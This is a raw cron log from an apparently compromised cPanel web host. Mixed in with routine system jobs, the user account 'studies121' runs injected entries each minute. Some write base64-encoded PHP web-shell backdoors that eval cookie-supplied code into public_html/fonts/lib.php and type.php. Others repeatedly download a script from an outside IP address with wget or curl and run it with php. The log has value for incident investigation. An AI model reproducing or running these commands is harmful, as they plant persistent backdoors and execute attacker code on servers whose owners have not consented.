Aug 30 14:07:01 ip-184-168-122-23 CROND[25686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:07:01 ip-184-168-122-23 CROND[25687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:07:01 ip-184-168-122-23 CROND[25685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:08:01 ip-184-168-122-23 CROND[25773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:08:01 ip-184-168-122-23 CROND[25775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:08:01 ip-184-168-122-23 CROND[25777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:08:01 ip-184-168-122-23 CROND[25778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:08:01 ip-184-168-122-23 CROND[25776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:09:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:09:01 ip-184-168-122-23 CROND[25874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:09:01 ip-184-168-122-23 CROND[25876]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 14:09:01 ip-184-168-122-23 CROND[25882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:09:01 ip-184-168-122-23 CROND[25881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:10:01 ip-184-168-122-23 CROND[25973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:10:01 ip-184-168-122-23 CROND[25976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:10:01 ip-184-168-122-23 CROND[25978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:10:01 ip-184-168-122-23 CROND[25979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:10:01 ip-184-168-122-23 CROND[25980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:10:01 ip-184-168-122-23 CROND[25981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:10:01 ip-184-168-122-23 CROND[25986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:10:01 ip-184-168-122-23 CROND[25987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:11:01 ip-184-168-122-23 CROND[26151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:11:01 ip-184-168-122-23 CROND[26153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:11:01 ip-184-168-122-23 CROND[26152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:11:01 ip-184-168-122-23 CROND[26154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:12:01 ip-184-168-122-23 CROND[26246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:12:01 ip-184-168-122-23 CROND[26249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:12:01 ip-184-168-122-23 CROND[26248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:12:01 ip-184-168-122-23 CROND[26250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:12:01 ip-184-168-122-23 CROND[26251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:13:01 ip-184-168-122-23 CROND[26327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:13:01 ip-184-168-122-23 CROND[26329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:13:01 ip-184-168-122-23 CROND[26333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:13:01 ip-184-168-122-23 CROND[26332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:14:01 ip-184-168-122-23 CROND[26413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:14:01 ip-184-168-122-23 CROND[26414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:14:01 ip-184-168-122-23 CROND[26416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:14:01 ip-184-168-122-23 CROND[26417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:14:01 ip-184-168-122-23 CROND[26418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26513]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:15:02 ip-184-168-122-23 CROND[26515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:16:01 ip-184-168-122-23 CROND[26622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:16:01 ip-184-168-122-23 CROND[26621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:16:02 ip-184-168-122-23 CROND[26624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:16:02 ip-184-168-122-23 CROND[26627]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:16:02 ip-184-168-122-23 CROND[26631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:16:02 ip-184-168-122-23 CROND[26632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:17:01 ip-184-168-122-23 CROND[26712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:17:01 ip-184-168-122-23 CROND[26714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:17:01 ip-184-168-122-23 CROND[26713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:17:01 ip-184-168-122-23 CROND[26715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:18:01 ip-184-168-122-23 CROND[26911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:18:02 ip-184-168-122-23 CROND[26913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:18:02 ip-184-168-122-23 CROND[26914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:18:02 ip-184-168-122-23 CROND[26917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:18:02 ip-184-168-122-23 CROND[26918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:19:01 ip-184-168-122-23 CROND[27014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:19:01 ip-184-168-122-23 CROND[27013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
